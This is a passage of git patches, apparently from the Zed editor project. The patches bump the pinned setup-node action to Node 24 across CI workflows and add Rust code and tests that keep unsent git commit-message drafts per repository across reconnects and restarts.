     - name: steps::download_wasi_sdk
       run: ./script/download-wasi-sdk
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::cargo_install_nextest
       uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
     - name: steps::clear_target_dir_if_large
@@ -120,9 +122,10 @@ jobs:
         Copy-Item -Path "./.cargo/ci-config.toml" -Destination "./../.cargo/config.toml"
       shell: pwsh
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than.ps1 350 200
       shell: pwsh
@@ -536,9 +539,10 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -586,9 +590,10 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
diff --git a/.github/workflows/release_nightly.yml b/.github/workflows/release_nightly.yml
index 17760bae3c69bf..e1c72767d77117 100644
--- a/.github/workflows/release_nightly.yml
+++ b/.github/workflows/release_nightly.yml
@@ -58,9 +58,10 @@ jobs:
     - name: steps::download_wasi_sdk
       run: ./script/download-wasi-sdk
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::cargo_install_nextest
       uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
     - name: steps::clear_target_dir_if_large
@@ -283,9 +284,10 @@ jobs:
         echo "Publishing version: ${version} on release channel nightly"
         echo "nightly" > crates/zed/RELEASE_CHANNEL
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -337,9 +339,10 @@ jobs:
         echo "Publishing version: ${version} on release channel nightly"
         echo "nightly" > crates/zed/RELEASE_CHANNEL
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
diff --git a/.github/workflows/run_bundling.yml b/.github/workflows/run_bundling.yml
index 2552d9186c71a4..b05015677c2132 100644
--- a/.github/workflows/run_bundling.yml
+++ b/.github/workflows/run_bundling.yml
@@ -191,9 +191,10 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
@@ -240,9 +241,10 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::setup_sentry
       uses: matbour/setup-sentry-cli@3e938c54b3018bdd019973689ef984e033b0454b
       with:
diff --git a/.github/workflows/run_tests.yml b/.github/workflows/run_tests.yml
index 9c0812f4a51d24..3b613f255cc165 100644
--- a/.github/workflows/run_tests.yml
+++ b/.github/workflows/run_tests.yml
@@ -333,9 +333,10 @@ jobs:
         Copy-Item -Path "./.cargo/ci-config.toml" -Destination "./../.cargo/config.toml"
       shell: pwsh
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::clear_target_dir_if_large
       run: ./script/clear-target-dir-if-larger-than.ps1 350 200
       shell: pwsh
@@ -390,9 +391,10 @@ jobs:
     - name: steps::download_wasi_sdk
       run: ./script/download-wasi-sdk
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::cargo_install_nextest
       uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
     - name: steps::clear_target_dir_if_large
@@ -441,9 +443,10 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::cargo_install_nextest
       uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
     - name: steps::clear_target_dir_if_large
diff --git a/tooling/xtask/src/tasks/workflows/steps.rs b/tooling/xtask/src/tasks/workflows/steps.rs
index 1ee14fc94752c8..7351f451a94d86 100644
--- a/tooling/xtask/src/tasks/workflows/steps.rs
+++ b/tooling/xtask/src/tasks/workflows/steps.rs
@@ -173,9 +173,10 @@ pub fn setup_node() -> Step<Use> {
     named::uses(
         "actions",
         "setup-node",
-        "49933ea5288caeca8642d1e84afbd3f7d6820020", // v4
+        "48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e", // v6.4
     )
-    .add_with(("node-version", "20"))
+    .add_with(("node-version", "24"))
+    .add_with(("check-latest", true))
 }
 
 pub fn setup_sentry() -> Step<Use> {

From bfe0d7c8f696669dded40df535840621d4756a88 Mon Sep 17 00:00:00 2001
From: Matt Van Horn <mvanhorn@users.noreply.github.com>
Date: Sat, 27 Jun 2026 13:29:20 -0700
Subject: [PATCH 131/772] git_ui: Preserve in-progress commit message across
 reconnect (#58180)

Losing the connection on a remote project, or restarting Zed, while
editing a git commit message cleared the in-progress text, because the
Git panel rebuilds the commit buffer from the repository and discards
unsent input.

This persists the draft, scoped to the active repository's work
directory, in the panel's serialized state and restores it when the
panel is rebuilt from that state: at construction when the active
repository already matches, and again in `reopen_commit_buffer` once the
commit buffer loads. The restore only applies to an empty target buffer
whose work directory matches the active repository, so it never replays
committed or cleared text and never leaks a draft across repositories.
The persisted draft is cleared after a successful commit.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #47864

Release Notes:

- Fixed in-progress git commit messages being cleared when a remote
project reconnects or Zed restarts

---------

Co-authored-by: Cole Miller <cole@zed.dev>
---
 crates/git_ui/src/git_panel.rs  | 567 ++++++++++++++++++++++++++++----
 crates/project/src/git_store.rs |   4 +
 2 files changed, 507 insertions(+), 64 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index d22220af2a28de..800058f25f90e7 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -42,7 +42,7 @@ use gpui::{
     UniformListScrollHandle, WeakEntity, actions, anchored, deferred, point, size, uniform_list,
 };
 use itertools::Itertools;
-use language::{Buffer, File};
+use language::{Buffer, BufferEvent, File};
 use language_model::{
     CompletionIntent, ConfiguredModel, Event as LanguageModelEvent, LanguageModelRegistry,
     LanguageModelRequest, LanguageModelRequestMessage, Role,
@@ -371,12 +371,22 @@ pub enum Event {
     Focus,
 }
 
-#[derive(Serialize, Deserialize)]
+#[derive(Default, Serialize, Deserialize)]
 struct SerializedGitPanel {
-    #[serde(default)]
-    amend_pending: bool,
     #[serde(default)]
     signoff_enabled: bool,
+    #[serde(default)]
+    commit_messages: BTreeMap<String, SerializedCommitMessage>,
+}
+
+#[derive(Clone, Default, Serialize, Deserialize)]
+struct SerializedCommitMessage {
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    message: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    original_message: Option<String>,
+    #[serde(default)]
+    amend_pending: bool,
 }
 
 #[derive(Debug, PartialEq, Eq, Clone, Copy)]
@@ -760,6 +770,7 @@ pub struct GitPanel {
     pending_remote_operation: Option<RemoteOperationKind>,
     amend_pending: bool,
     original_commit_message: Option<String>,
+    pending_commit_message_restores: BTreeMap<String, SerializedCommitMessage>,
     signoff_enabled: bool,
     pending_serialization: Task<()>,
     pub(crate) project: Entity<Project>,
@@ -770,6 +781,7 @@ pub struct GitPanel {
     tracked_count: usize,
     tracked_staged_count: usize,
     update_visible_entries_task: Task<()>,
+    reopen_commit_buffer_task: Task<()>,
     pub(crate) workspace: WeakEntity<Workspace>,
     context_menu: Option<(Entity<ContextMenu>, Point<Pixels>, Subscription)>,
     modal_open: bool,
@@ -786,6 +798,7 @@ pub struct GitPanel {
     commit_history_shas: Option<Vec<Oid>>,
     focused_history_entry: Option<usize>,
     history_keyboard_nav: bool,
+    _commit_message_buffer_subscription: Option<Subscription>,
     _repo_subscriptions: Vec<Subscription>,
 
     _settings_subscription: Subscription,
@@ -832,16 +845,60 @@ pub(crate) fn commit_message_editor(
 }
 
 impl GitPanel {
+    // Only the test-support constructors call this thin wrapper now; production
+    // registration goes through `new_with_serialized_panel` directly. Gate it to
+    // the same cfg as `new_test` so the non-test lib build doesn't see it as dead.
+    #[cfg(any(test, feature = "test-support"))]
     fn new(
         workspace: &mut Workspace,
         window: &mut Window,
         cx: &mut Context<Workspace>,
+    ) -> Entity<Self> {
+        Self::new_with_serialized_panel(workspace, None, window, cx)
+    }
+
+    fn new_with_serialized_panel(
+        workspace: &mut Workspace,
+        serialized_panel: Option<SerializedGitPanel>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
     ) -> Entity<Self> {
         let project = workspace.project().clone();
         let app_state = workspace.app_state().clone();
         let fs = app_state.fs.clone();
         let git_store = project.read(cx).git_store().clone();
         let active_repository = project.read(cx).active_repository(cx);
+        let signoff_enabled = serialized_panel
+            .as_ref()
+            .is_some_and(|panel| panel.signoff_enabled);
+        let active_work_directory_abs_path = active_repository.as_ref().map(|repository| {
+            repository
+                .read(cx)
+                .work_directory_abs_path
+                .to_string_lossy()
+                .into_owned()
+        });
+        let active_draft = serialized_panel.as_ref().and_then(|panel| {
+            let path = active_work_directory_abs_path.as_ref()?;
+            panel.commit_messages.get(path)
+        });
+        // Seed the placeholder editor with the restored draft when the active
+        // repository already matches the serialized one, so the message is
+        // present immediately on restart instead of only after the commit
+        // buffer finishes loading in `reopen_commit_buffer`. Sourced from the
+        // serialized draft rather than a live buffer snapshot and scoped to the
+        // matching repository, so it neither replays cleared text nor leaks a
+        // draft across repositories. `reopen_commit_buffer` still performs the
+        // one-shot restore into the loaded buffer; applying the same draft
+        // there is idempotent.
+        let amend_pending = active_draft.is_some_and(|draft| draft.amend_pending);
+        let original_commit_message = active_draft.and_then(|draft| draft.original_message.clone());
+        let initial_commit_message = active_draft
+            .and_then(|draft| draft.message.clone())
+            .unwrap_or_default();
+        let pending_commit_message_restores = serialized_panel
+            .map(|panel| panel.commit_messages)
+            .unwrap_or_default();
 
         cx.new(|cx| {
             let focus_handle = cx.focus_handle();
@@ -905,15 +962,11 @@ impl GitPanel {
 
             // just to let us render a placeholder editor.
             // Once the active git repo is set, this buffer will be replaced.
-            let temporary_buffer = cx.new(|cx| Buffer::local("", cx));
+            let temporary_buffer = cx.new(|cx| Buffer::local(initial_commit_message, cx));
             let commit_editor = cx.new(|cx| {
                 commit_message_editor(temporary_buffer, None, project.clone(), true, window, cx)
             });
 
-            commit_editor.update(cx, |editor, cx| {
-                editor.clear(window, cx);
-            });
-
             let scroll_handle = UniformListScrollHandle::new();
 
             let mut was_ai_enabled = AgentSettings::get_global(cx).enabled(cx);
@@ -987,9 +1040,10 @@ impl GitPanel {
                 diff_stat_total: DiffStat::default(),
                 pending_commit: None,
                 pending_remote_operation: None,
-                amend_pending: false,
-                original_commit_message: None,
-                signoff_enabled: false,
+                amend_pending,
+                original_commit_message,
+                pending_commit_message_restores,
+                signoff_enabled,
                 pending_serialization: Task::ready(()),
                 single_staged_entry: None,
                 single_tracked_entry: None,
@@ -1001,6 +1055,7 @@ impl GitPanel {
                 tracked_count: 0,
                 tracked_staged_count: 0,
                 update_visible_entries_task: Task::ready(()),
+                reopen_commit_buffer_task: Task::ready(()),
                 show_placeholders: false,
                 local_committer: None,
                 local_committer_task: None,
@@ -1016,6 +1071,7 @@ impl GitPanel {
                 commit_history_shas: None,
                 focused_history_entry: None,
                 history_keyboard_nav: false,
+                _commit_message_buffer_subscription: None,
                 _repo_subscriptions: Vec::new(),
                 _settings_subscription,
                 git_access: GitAccess::Yes,
@@ -1101,8 +1157,8 @@ impl GitPanel {
     }
 
     fn serialize(&mut self, cx: &mut Context<Self>) {
-        let amend_pending = self.amend_pending;
         let signoff_enabled = self.signoff_enabled;
+        let commit_messages = self.serialized_commit_messages(cx);
         let kvp = KeyValueStore::global(cx);
 
         self.pending_serialization = cx.spawn(async move |git_panel, cx| {
@@ -1127,8 +1183,8 @@ impl GitPanel {
                     kvp.write_kvp(
                         serialization_key,
                         serde_json::to_string(&SerializedGitPanel {
-                            amend_pending,
                             signoff_enabled,
+                            commit_messages,
                         })?,
                     )
                     .await?;
@@ -1140,6 +1196,62 @@ impl GitPanel {
         });
     }
 
+    fn serialized_commit_messages(&self, cx: &App) -> BTreeMap<String, SerializedCommitMessage> {
+        let active_work_directory_abs_path = self.active_repository.as_ref().map(|repository| {
+            repository
+                .read(cx)
+                .work_directory_abs_path
+                .to_string_lossy()
+                .into_owned()
+        });
+        let git_store = self.project.read(cx).git_store().clone();
+        let mut commit_messages = self.pending_commit_message_restores.clone();
+        for repository in git_store.read(cx).repositories().values() {
+            let repository = repository.read(cx);
+            let work_directory_abs_path = repository
+                .work_directory_abs_path
+                .to_string_lossy()
+                .into_owned();
+            if active_work_directory_abs_path.as_deref() == Some(work_directory_abs_path.as_str()) {
+                continue;
+            }
+            if let Some(buffer) = repository.commit_message_buffer() {
+                let text = buffer.read(cx).text();
+                if text.trim().is_empty() {
+                    commit_messages.remove(&work_directory_abs_path);
+                } else {
+                    commit_messages.insert(
+                        work_directory_abs_path,
+                        SerializedCommitMessage {
+                            message: Some(text),
+                            original_message: None,
+                            amend_pending: false,
+                        },
+                    );
+                }
+            }
+        }
+        if let Some(work_directory_abs_path) = active_work_directory_abs_path {
+            let text = self.commit_message_buffer(cx).read(cx).text();
+            let message = (!text.trim().is_empty()).then_some(text);
+            let original_message = self.original_commit_message.clone();
+            let amend_pending = self.amend_pending;
+            if message.is_some() || original_message.is_some() || amend_pending {
+                commit_messages.insert(
+                    work_directory_abs_path,
+                    SerializedCommitMessage {
+                        message,
+                        original_message,
+                        amend_pending,
+                    },
+                );
+            } else {
+                commit_messages.remove(&work_directory_abs_path);
+            }
+        }
+        commit_messages
+    }
+
     pub(crate) fn set_modal_open(&mut self, open: bool, cx: &mut Context<Self>) {
         self.modal_open = open;
         cx.notify();
@@ -2579,6 +2691,7 @@ impl GitPanel {
                             this.commit_editor
                                 .update(cx, |editor, cx| editor.clear(window, cx));
                             this.original_commit_message = None;
+                            this.serialize(cx);
                         }
                     }
                     Err(e) => this.show_error_toast("commit", e, cx),
@@ -3866,6 +3979,18 @@ impl GitPanel {
 
     fn schedule_update(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         let handle = cx.entity().downgrade();
+        let new_active_repository = self.project.read(cx).active_repository(cx);
+        let active_repository_changed = self.active_repository.as_ref().map(Entity::entity_id)
+            != new_active_repository.as_ref().map(Entity::entity_id);
+        if active_repository_changed && self.amend_pending {
+            // Leaving a repository with a pending amend: undo it so the amend
+            // state doesn't carry over to the newly active repository. The
+            // commit editor still holds the previous repository's buffer here
+            // (`reopen_commit_buffer` swaps it asynchronously below), so this
+            // restores the pre-amend draft into that repository's buffer.
+            self.set_amend_pending(false, cx);
+        }
+        self.active_repository = new_active_repository;
         self.reopen_commit_buffer(window, cx);
         self.preload_commit_history(cx);
         if self.active_tab == GitPanelTab::History {
@@ -3885,8 +4010,14 @@ impl GitPanel {
 
     fn reopen_commit_buffer(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         let Some(active_repo) = self.active_repository.as_ref() else {
+            self.reopen_commit_buffer_task = Task::ready(());
             return;
         };
+        let active_repository_abs_path = active_repo
+            .read(cx)
+            .work_directory_abs_path
+            .to_string_lossy()
+            .into_owned();
         let load_buffer = active_repo.update(cx, |active_repo, cx| {
             let project = self.project.read(cx);
             active_repo.open_commit_buffer(
@@ -3897,50 +4028,79 @@ impl GitPanel {
         });
         let load_template = self.load_commit_template(cx);
 
-        cx.spawn_in(window, async move |git_panel, cx| {
-            let buffer = load_buffer.await?;
-            let template = load_template.await?;
+        self.reopen_commit_buffer_task = cx.spawn_in(window, async move |git_panel, cx| {
+            let result = async {
+                let buffer = load_buffer.await?;
+                let template = load_template.await?;
+
+                git_panel.update_in(cx, move |git_panel, window, cx| {
+                    git_panel.commit_template = template;
+                    let restored_commit_message = git_panel
+                        .pending_commit_message_restores
+                        .remove(&active_repository_abs_path);
+                    if let Some(restored_commit_message) = restored_commit_message {
+                        git_panel.amend_pending = restored_commit_message.amend_pending;
+                        git_panel.original_commit_message =
+                            restored_commit_message.original_message;
+                        cx.notify();
+                        if let Some(message) = restored_commit_message.message
+                            && buffer.read(cx).text().trim().is_empty()
+                        {
+                            buffer.update(cx, |buffer, cx| {
+                                let start = buffer.anchor_before(0);
+                                let end = buffer.anchor_after(buffer.len());
+                                buffer.edit([(start..end, message)], None, cx);
+                            });
+                        }
+                    }
+                    if buffer.read(cx).text().trim().is_empty() {
+                        let template_text = git_panel
+                            .commit_template
+                            .as_ref()
+                            .map(|t| t.template.clone())
+                            .unwrap_or_default();
+                        if !template_text.is_empty() {
+                            buffer.update(cx, |buffer, cx| {
+                                let start = buffer.anchor_before(0);
+                                let end = buffer.anchor_after(buffer.len());
+                                buffer.edit([(start..end, template_text)], None, cx);
+                            });
+                        }
+                    }
 
-            git_panel.update_in(cx, |git_panel, window, cx| {
-                git_panel.commit_template = template;
-                if buffer.read(cx).text().trim().is_empty() {
-                    let template_text = git_panel
-                        .commit_template
+                    if git_panel
+                        .commit_editor
+                        .read(cx)
+                        .buffer()
+                        .read(cx)
+                        .as_singleton()
                         .as_ref()
-                        .map(|t| t.template.clone())
-                        .unwrap_or_default();
-                    if !template_text.is_empty() {
-                        buffer.update(cx, |buffer, cx| {
-                            let start = buffer.anchor_before(0);
-                            let end = buffer.anchor_after(buffer.len());
-                            buffer.edit([(start..end, template_text)], None, cx);
+                        != Some(&buffer)
+                    {
+                        git_panel.commit_editor = cx.new(|cx| {
+                            commit_message_editor(
+                                buffer.clone(),
+                                git_panel.suggest_commit_message(cx).map(SharedString::from),
+                                git_panel.project.clone(),
+                                true,
+                                window,
+                                cx,
+                            )
                         });
                     }
-                }
 
-                if git_panel
-                    .commit_editor
-                    .read(cx)
-                    .buffer()
-                    .read(cx)
-                    .as_singleton()
-                    .as_ref()
-                    != Some(&buffer)
-                {
-                    git_panel.commit_editor = cx.new(|cx| {
-                        commit_message_editor(
-                            buffer,
-                            git_panel.suggest_commit_message(cx).map(SharedString::from),
-                            git_panel.project.clone(),
-                            true,
-                            window,
-                            cx,
-                        )
-                    });
-                }
-            })
-        })
-        .detach_and_log_err(cx);
+                    git_panel._commit_message_buffer_subscription =
+                        Some(cx.subscribe(&buffer, |this, _, event, cx| {
+                            if matches!(event, BufferEvent::Edited { .. }) {
+                                this.serialize(cx);
+                            }
+                        }));
+                })?;
+                anyhow::Ok(())
+            }
+            .await;
+            result.log_err();
+        });
     }
 
     fn update_visible_entries(&mut self, window: &mut Window, cx: &mut Context<Self>) {
@@ -6939,17 +7099,7 @@ impl GitPanel {
         };
 
         workspace.update_in(&mut cx, |workspace, window, cx| {
-            let panel = GitPanel::new(workspace, window, cx);
-
-            if let Some(serialized_panel) = serialized_panel {
-                panel.update(cx, |panel, cx| {
-                    panel.amend_pending = serialized_panel.amend_pending;
-                    panel.signoff_enabled = serialized_panel.signoff_enabled;
-                    cx.notify();
-                })
-            }
-
-            panel
+            GitPanel::new_with_serialized_panel(workspace, serialized_panel, window, cx)
         })
     }
 
@@ -7885,6 +8035,18 @@ mod tests {
         });
     }
 
+    fn register_git_commit_language(project: &Entity<Project>, cx: &mut VisualTestContext) {
+        project.read_with(cx, |project, _| {
+            project.languages().add(Arc::new(language::Language::new(
+                language::LanguageConfig {
+                    name: "Git Commit".into(),
+                    ..Default::default()
+                },
+                None,
+            )));
+        });
+    }
+
     fn entry_index_for_repo_path(panel: &GitPanel, repo_path: &RepoPath) -> Option<usize> {
         panel.entries.iter().position(|entry| {
             entry
@@ -8879,6 +9041,283 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_commit_message_restored_after_reconnect(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            "/root",
+            json!({
+                "project-a": {
+                    ".git": {},
+                    "src": {
+                        "main.rs": "fn main() {}"
+                    }
+                },
+                "project-b": {
+                    ".git": {},
+                    "src": {
+                        "main.rs": "fn main() {}"
+                    }
+                }
+            }),
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            Path::new(path!("/root/project-a/.git")),
+            &[("src/main.rs", StatusCode::Modified.worktree())],
+        );
+        fs.set_status_for_repo(
+            Path::new(path!("/root/project-b/.git")),
+            &[("src/main.rs", StatusCode::Modified.worktree())],
+        );
+
+        let project = Project::test(
+            fs.clone(),
+            [
+                Path::new(path!("/root/project-a")),
+                Path::new(path!("/root/project-b")),
+            ],
+            cx,
+        )
+        .await;
+        let (repository_a, repository_b) = project.read_with(cx, |project, cx| {
+            let git_store = project.git_store().clone();
+            let mut repository_a = None;
+            let mut repository_b = None;
+            for repository in git_store.read(cx).repositories().values() {
+                let work_directory_abs_path = &repository.read(cx).work_directory_abs_path;
+                if work_directory_abs_path.as_ref() == Path::new(path!("/root/project-a")) {
+                    repository_a = Some(repository.clone());
+                } else if work_directory_abs_path.as_ref() == Path::new(path!("/root/project-b")) {
+                    repository_b = Some(repository.clone());
+                }
+            }
+            (
+                repository_a.expect("should have repository for project-a"),
+                repository_b.expect("should have repository for project-b"),
+            )
+        });
+        repository_a.update(cx, |repository, cx| repository.set_as_active_repository(cx));
+
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        register_git_commit_language(&project, cx);
+        let panel = workspace.update_in(cx, GitPanel::new);
+        cx.run_until_parked();
+
+        let message_a = "Restore repository A message";
+        panel.update(cx, |panel, cx| {
+            panel.commit_message_buffer(cx).update(cx, |buffer, cx| {
+                let start = buffer.anchor_before(0);
+                let end = buffer.anchor_after(buffer.len());
+                buffer.edit([(start..end, message_a)], None, cx);
+            });
+        });
+
+        repository_b.update(cx, |repository, cx| repository.set_as_active_repository(cx));
+        cx.run_until_parked();
+
+        let message_b = "Restore repository B message";
+        let serialized_panel = panel.update(cx, |panel, cx| {
+            panel.commit_message_buffer(cx).update(cx, |buffer, cx| {
+                let start = buffer.anchor_before(0);
+                let end = buffer.anchor_after(buffer.len());
+                buffer.edit([(start..end, message_b)], None, cx);
+            });
+
+            SerializedGitPanel {
+                signoff_enabled: false,
+                commit_messages: panel.serialized_commit_messages(cx),
+            }
+        });
+
+        for repository in [&repository_a, &repository_b] {
+            let buffer = repository.read_with(cx, |repository, _| {
+                repository
+                    .commit_message_buffer()
+                    .expect("repository commit message buffer should be open")
+                    .clone()
+            });
+            buffer.update(cx, |buffer, cx| {
+                let start = buffer.anchor_before(0);
+                let end = buffer.anchor_after(buffer.len());
+                buffer.edit([(start..end, "")], None, cx);
+            });
+        }
+
+        let restored_panel = workspace.update_in(cx, |workspace, window, cx| {
+            GitPanel::new_with_serialized_panel(workspace, Some(serialized_panel), window, cx)
+        });
+        cx.run_until_parked();
+
+        restored_panel.read_with(cx, |panel, cx| {
+            assert_eq!(panel.commit_message_buffer(cx).read(cx).text(), message_b);
+        });
+
+        repository_a.update(cx, |repository, cx| repository.set_as_active_repository(cx));
+        cx.run_until_parked();
+
+        restored_panel.read_with(cx, |panel, cx| {
+            assert_eq!(panel.commit_message_buffer(cx).read(cx).text(), message_a);
+        });
+
+        restored_panel.update(cx, |panel, cx| {
+            panel.commit_message_buffer(cx).update(cx, |buffer, cx| {
+                let start = buffer.anchor_before(0);
+                let end = buffer.anchor_after(buffer.len());
+                buffer.edit([(start..end, "")], None, cx);
+            });
+        });
+
+        let mismatched_serialized_panel = SerializedGitPanel {
+            signoff_enabled: false,
+            commit_messages: BTreeMap::from_iter([(
+                path!("/root/other-project").to_string(),
+                SerializedCommitMessage {
+                    message: Some(message_a.to_string()),
+                    original_message: None,
+                    ..Default::default()
+                },
+            )]),
+        };
+        let mismatched_panel = workspace.update_in(cx, |workspace, window, cx| {
+            GitPanel::new_with_serialized_panel(
+                workspace,
+                Some(mismatched_serialized_panel),
+                window,
+                cx,
+            )
+        });
+        cx.run_until_parked();
+
+        mismatched_panel.read_with(cx, |panel, cx| {
+            // The draft is not restored because the serialized work directory
+            // does not match the active repository, so it cannot leak across
+            // repositories.
+            assert_eq!(panel.commit_message_buffer(cx).read(cx).text(), "");
+        });
+    }
+
+    #[gpui::test]
+    async fn test_amend_state_is_per_repository(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            "/root",
+            json!({
+                "project-a": {
+                    ".git": {},
+                    "src": {
+                        "main.rs": "fn main() {}"
+                    }
+                },
+                "project-b": {
+                    ".git": {},
+                    "src": {
+                        "main.rs": "fn main() {}"
+                    }
+                }
+            }),
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            Path::new(path!("/root/project-a/.git")),
+            &[("src/main.rs", StatusCode::Modified.worktree())],
+        );
+        fs.set_status_for_repo(
+            Path::new(path!("/root/project-b/.git")),
+            &[("src/main.rs", StatusCode::Modified.worktree())],
+        );
+
+        let project = Project::test(
+            fs.clone(),
+            [
+                Path::new(path!("/root/project-a")),
+                Path::new(path!("/root/project-b")),
+            ],
+            cx,
+        )
+        .await;
+        let (repository_a, repository_b) = project.read_with(cx, |project, cx| {
+            let git_store = project.git_store().clone();
+            let mut repository_a = None;
+            let mut repository_b = None;
+            for repository in git_store.read(cx).repositories().values() {
+                let work_directory_abs_path = &repository.read(cx).work_directory_abs_path;
+                if work_directory_abs_path.as_ref() == Path::new(path!("/root/project-a")) {
+                    repository_a = Some(repository.clone());
+                } else if work_directory_abs_path.as_ref() == Path::new(path!("/root/project-b")) {
+                    repository_b = Some(repository.clone());
+                }
+            }
+            (
+                repository_a.expect("should have repository for project-a"),
+                repository_b.expect("should have repository for project-b"),
+            )
+        });
+        repository_a.update(cx, |repository, cx| repository.set_as_active_repository(cx));
+
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        register_git_commit_language(&project, cx);
+        let panel = workspace.update_in(cx, GitPanel::new);
+        cx.run_until_parked();
+
+        // Enter an amend on repository A, then simulate the amend flow loading
+        // the last commit message into the editor.
+        panel.update(cx, |panel, cx| {
+            panel.commit_message_buffer(cx).update(cx, |buffer, cx| {
+                let start = buffer.anchor_before(0);
+                let end = buffer.anchor_after(buffer.len());
+                buffer.edit([(start..end, "Draft for A")], None, cx);
+            });
+            panel.set_amend_pending(true, cx);
+            panel.commit_message_buffer(cx).update(cx, |buffer, cx| {
+                let start = buffer.anchor_before(0);
+                let end = buffer.anchor_after(buffer.len());
+                buffer.edit([(start..end, "Amended message")], None, cx);
+            });
